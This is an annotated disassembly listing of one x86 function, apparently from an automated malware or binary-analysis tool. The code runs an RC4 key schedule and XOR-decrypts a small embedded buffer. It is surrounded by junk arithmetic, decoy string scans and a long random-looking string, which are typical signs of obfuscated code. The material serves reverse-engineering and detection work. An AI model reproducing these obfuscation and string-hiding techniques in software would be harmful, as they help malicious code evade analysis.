Function at 0x643c7014
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 0x11
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x13a]
mov esi, 0x643eb563
push ebx
sub esp, 0x15c
mov edx, dword [0x643e8138]
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x147]
mov esi, 0x643eb574
mov ecx, 0xd
rep movsb byte es:[edi], byte [esi]
lea eax, [edx - 0x511a3d50]
mov dword [0x643e8138], eax
xor eax, eax
cmp byte [eax + str.AVRF:_AVrfDllUnloadNotification_called_for_a_provider___p_], 0
je 0x643c7074
inc eax
cmp eax, 0x2651
jne 0x643c7057
sub edx, 0x40c149f8
mov dword [0x643e8138], edx
mov eax, dword [0x643e8138]
and eax, 0x526901fc
or eax, 0x130
mov dword [0x643e8138], eax
mov dword [esp], str.Guard_Page_Exception
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
imul eax, eax, 0xc5312eff
push edx
mov dword [0x643e8138], eax
call fcn.643d0f40
mov eax, dword [0x643e8138]
sub eax, 0x29efeb4e
mov dword [ebp - 0x14c], eax
xor eax, eax
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x643c70b8
xor esi, esi
xor ecx, ecx
mov edi, 0xc
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x118]
div edi
movzx eax, byte [ebp + edx - 0x147]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x118]
mov byte [ebp + ecx - 0x118], al
inc ecx
mov byte [ebp + esi - 0x118], bl
cmp ecx, 0x100
jne 0x643c70d0
imul eax, dword [ebp - 0x14c], 0x69809d57
xor edi, edi
xor esi, esi
xor ecx, ecx
xor eax, 0x140f2aa1
inc ecx
xor eax, 0x6788a8e1
movzx ecx, cl
add eax, 0x714a5b93
mov dl, byte [ebp + ecx - 0x118]
add esi, edx
mov ebx, esi
movzx esi, bl
mov bl, byte [ebp + esi - 0x118]
mov byte [ebp + ecx - 0x118], bl
mov byte [ebp + esi - 0x118], dl
add dl, byte [ebp + ecx - 0x118]
movzx edx, dl
mov dl, byte [ebp + edx - 0x118]
xor dl, byte [ebp + edi - 0x13a]
inc edi
mov byte [edi + ebp - 0x12a], dl
cmp edi, 0x11
jne 0x643c7122
mov dword [0x643e8138], eax
xor eax, eax
cmp word [eax + str.windows_threshold], 0
je 0x643c71a2
add eax, 2
cmp eax, 0x11a4
jne 0x643c717f
call fcn.643d089c
add dword [0x643e8138], 0x290523d4
mov eax, dword [0x643e8138]
sub eax, 0x6a117fe
mov dword [0x643e8138], eax
mov dword [esp + 4], str.AVRF:_AVrfDllUnloadNotification_called_for_a_provider___p_
mov dword [esp], eax
call fcn.643d2a58
xor eax, eax
cmp byte [eax + str.AVRF:_AVrfDllUnloadNotification_called_for_a_provider___p_], 0
je 0x643c71e3
inc eax
cmp eax, 0x17d7
jne 0x643c71c3
call fcn.643d4004
and dword [0x643e8138], 0x4601bf0e
imul eax, dword [0x643e8138], 0x7a656682
mov byte [ebp - 0x118], 0
add eax, 0x7ee8a50c
mov dword [0x643e8138], eax
call dword [sym.imp.USER32.dll_AnyPopup]
and eax, 0x66197b08
mov dword [0x643e8138], eax
lea eax, [ebp - 0x129]
mov dword [esp + 0xc], 0x11
mov dword [esp + 8], eax
mov dword [esp + 4], 0x11f8
mov dword [esp], str.jx3_56mqOzbCvq7ZhbtYbMrrZS0lH0KlFga2o0vWEAAdM9iq_2AcGBtduB9HRFTB9wexRkqiK4bNF9cmFka28qiZdgmYOkJONNormlt97bU90rX07M1RyeTvu5eCcjkdes4RCsgwL1XEOokfLBvha9JNCazah_jC2MNBXbMcd2JgNvJnOuOgfBeTv250DiIFWagTp8dtESjPJizmLjYAzxzfVKqszUPvM7Xtnq1Yynnsb9OYQ5jhor6En02AKd1y8l8qfvVyMH9K157P00f4IYWXBWEhKYBHZy9myPw72fLLmthyOEgFgMkxaEpHBeyTHA2Nn2W9UVeqhU4siFgdnBUIyHkXNkeOhtsE6PZwXHVS1GcdpTe9kOYnegMCEIxZrNhrtv3uNtOeMpipD4WFU6vo_BPWNjBj4zQPr4vuF2G0aS_7xzylhdi9nU5Y0XGZEYp8XQp1fbCRATbgRLrCTmWOrsoezLHSJ6foAIOxjkmASaOUd6v9eJOHPR3RIZnuvRt1Tvy52tBkTiNpxMwR_DJz9bUlqz7OunsXhcNX3K7hzNTvD3aF8QlL85NEsg8r3jJXXWJkzbe7YM4JHCvjk0gZr_Gmv0tCnxXZn9l7VCAYS4_VJHblH8mo015Z7wG2XSSoN6lOjnMCRlH2dO62qd9z7zb5gdBW3ZWPMp_IqYErOB0dchdhgy7O8VRCI9AqXcaWlvD23wbBQDHbKpjHkUt12I1TzaC2dGw6qVXKfuHUMglQVXKlg9ZcQ4XB4vqFfrMJ6TGjc_zXdGnuNEu8fppqz617BokYCksKChXshBH0IYMNAej95KyG9Ov_ZP8uwBb3Tw_YBPI0vgxY44amnslzeXyWZ4W2_HMKIq9bdcw3VQWVdw3e9tjdPcPuYqAAv0mgApZsPqXr6DpxbBeCYGAaRBz25UvcAxgN74TPD_fRt3RSJXCsnyQXWCO6OPgteWWN5d4kKZ3NcPMf2wYO_WqsWIlvTPlTjC5BdWWPv9eFf3QV5bX4T8pCTiucfhM4ivgoqO8X5aBjxpD7JSZ7sZhw_qB3nVSXfI_6Jh5PDAE5uhmgT1bfXYfDSsVJzKmpSetDvQdcokrGG4eUyX6XNnzfRDyXJ7XKOlwfvXd3hpGV8CHwdxFfPFXw_V9ftV5xeZp2hb5xUmaIdDvcDz04yqnWGcDRG8IQ6oyFYzzUWL_06pNHpl2ZXBT5206CwCsxqOms6cHGjhlIWVHkqMu6DdtjdsyDNeCNGOHgViNua_rIAevoSirgfq2OqeMDR1RcjYTfsmGBi4Zm99W9V71yKT5eymZVHmcCiBQVRYp3cd0yTiaouG81TsqrrWpeNa27Hv7lSkSQbusrrQb1axzAEIseINSJqZM5cyR64y6dPVbsNPjObi8qEz_nY3WUi6CF9QdviGOe3xyHHN2_y8EvSNLnAEguttTLsMX7kzw8uNjEXVMPUk0vd8SUph06F8dohemIr_owPPh14Z0jGlBELovjgTlClBijJKxunpY3JJHdtLng5BwOQcaVflIv8bOGkQprsn_3SS56uIQeUfIhzLmhfZPSMvM97MoVaycRdUewJTngk8bjOSdrw5CPzzY_uGpFN8me40kft19NOSq0YFGO8go0jtQb3xUALdJmJbAL0gfkpjdhebvnSEsdZbgZadwLx0zWOOjpryDXbLZs0T5CPwWYV5thQ8HNs10T4Anawh1BZA73ZJD0DlzDDdVCgNN9V4P5x0zUEkA1DDVVgeopSjM_Mwf7kbKknDZ4NGEFEMBrOV72o29tDr_7ESmuaB__VdQ60ZoA41JDfqz8vYzMFSETiwFtaTTcDliJ8W0CjYYzVKETOvdGch7W9rmw8QQP177ogb_nC3zlMpt3EAEry30lcHqpgoxogZ2m_Z2G59T5jM5_bd50q2DEpu2k1K5JV4QRlu2gBH2miKPF_hQIyNkbuVlaNln62sQaQ5ciLtmJU_mh2m3ogp2t4Megmz0GOnNHFtswWfGMyANPpjhAblIFc_bX3FrEaVk7ezEPG29OGMb5gIDNB3qjWe7D00s1uJK93Bt95zvTzoysaNqPHope8981eXAbCCl0euJD2njnV3mJ8Bb3_VWGr_0TJGFTQ9tEIS6hcRjjFPhqrSfhW_sO0KPNYMTQYBWPvYfTKz5lmvZstJ9gPtVgAjZYyIQQtnEmFGyrSSum8ZGhAIgrZePR_wwptsd8TRoOYznU19B1C5crEFLZDxLj7ju7pw5dlYseJq84wrABvVjANHHFdceWbvwuOMQG6XrX3_hJ2EhtDbuOT1Vswec0CMtF5Yiu0xCNRe18WoSysTl99LF07hzfBVVDVm_0uMQXc2biVW3Vcvv6q956gTndfUn5cfd0_5cGt9GJGrHEKfQYHP2jd_LhvS79SC68GEOh2mBmt9Q2h4OHv4agNJUj1uMrQFaMWhXKdsmADsEvtaXVBklOkJH1wshtMjttN_Dc65yAoCNhjVBbT8QwcfzimiHzFGLKlwLgEtTRuvRJYcUuzbPxAzTSCmTyTzxoSlsxqTJEtdKAiYoQ7BhWDMxomnyPZGRrViwePcrnkZxZwCAQplAGYRWIdyVCIp2efHB2Wn_PTjqb150kT4J40lRbMjTw1X1O_NZVbDQ3_EYWXHgaK40yPq8SXl1aeudz6NdXZylnBRGqqE7vbp_bwJJe1pCg4xg3zuNJv2n7vxzvNtCJJXMzOCw2Hg6zlziHt3VbsjRBUVvJWmcFygV95sLO_e8sNhVJLFZWpsGGJNY_JmqCPewqBGBITmQq3QZ4m91BPGGniaL3vuGpNKjPafDQJRnl9R2KRmn12qM8_KHVjX_wUIANHX1VnrI9wztw1tSpvJ6GKuEaD_nOToJHSW01kk5ZYwFlXmjmN6GL1_sL6HRJgQEalLE1j_pgUgT31Oe2KcQT_5Fh9FmaG8LvJ9w6DFbf5_ctz_Dq1iU9G00T1cF269zP2cSLigkr3g9ZicpSkO4fn6kZ22xnoMicG4EGw3lvecP4y_y5NKBciHZh0xJeqB8w5O49plEms2Ze6HwkXsSNUYvt654robydVoK_XklGCHPMo_WEThqPiRbOasr29EhnKVV_IT6oA3IlpVfw0piMbAaHOBff8yVtXqN7td6ZDi3WeY7Id4t6WXwhLHuyo5aPFuBls8ZXQb1_bc5wadsanokfDlllTqDK9qnfUgHjaVz_9AcqA4mwEjUCG9iv044E3mwFT7cNl0W3YqSDLUw0HV1Uv0s6nl9wRD0tAHtOL6l3RNU1TEC4OhBujBc0MKsnnfXK22Ixe4Hq2DPfnKxmsNbIZ26Yeg9rUROFdTZuZX7DVTroho0Q8D4e1lsj3xHcOqD9wiv87X8yoSuZ9m2VrdD6gCiX2yfnu82OjvTdcJ0b4XHdGkNZTeek7XdtPlUhXEd2ceiukvwtIVmrVNMXgsGXMUgVOAdBa2UMbs0apePMRVLHrcjZcmXqyZ7r1BTIZ9YkjcB8ePFfcsk4HtxwpqL0JUaQABy2VkqDEhm1yA2dJZA6n8jfRuD23v91rIbDwraY1Nis6HgCcS9RfQGEDLkLdlZp1CUEjvh62a11GOsPJiqRW1kAOPcNu7gSTfRqfqwfQmEXktqLb7iOLgE8gYlGFvUf8gdGD9kfmudrp8TngsBOKGAB3xmtt4WOl5CvBanMBKdGPI66mEEwaLjC6i7DOYh4lVevTqkQK6nBbSsQNEhufCpVg8RdBDojvzjrNwNhHpvPHLncaVRx26Xxr_O71FAm7bNh2j16HUXWsz2gTRw_A3gw_fRc3bCTFHWHoCGC3cmG1jv2XPOiO9l5XZC6ZAuoqZ3uOVWHSXVPrwjQIuDVZk3LSZIcnbo3bQ3WgiL8Iso2PUSfFsA3PXIenecTSab4E71BeOUH4OCPyF9MoPaOxBzyVPU_z_xCnEVmGZnVFiTmciDNrG1o19C8iMCPeiCIhxfCK3LUWxkaNxrAEaC2cAVOglCyJXQwCaYp_HrMxqpig2X75SmyCBuxMlSNspn_thFQYl4wIenyDzMs0Ky4T
call fcn.643cb468
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret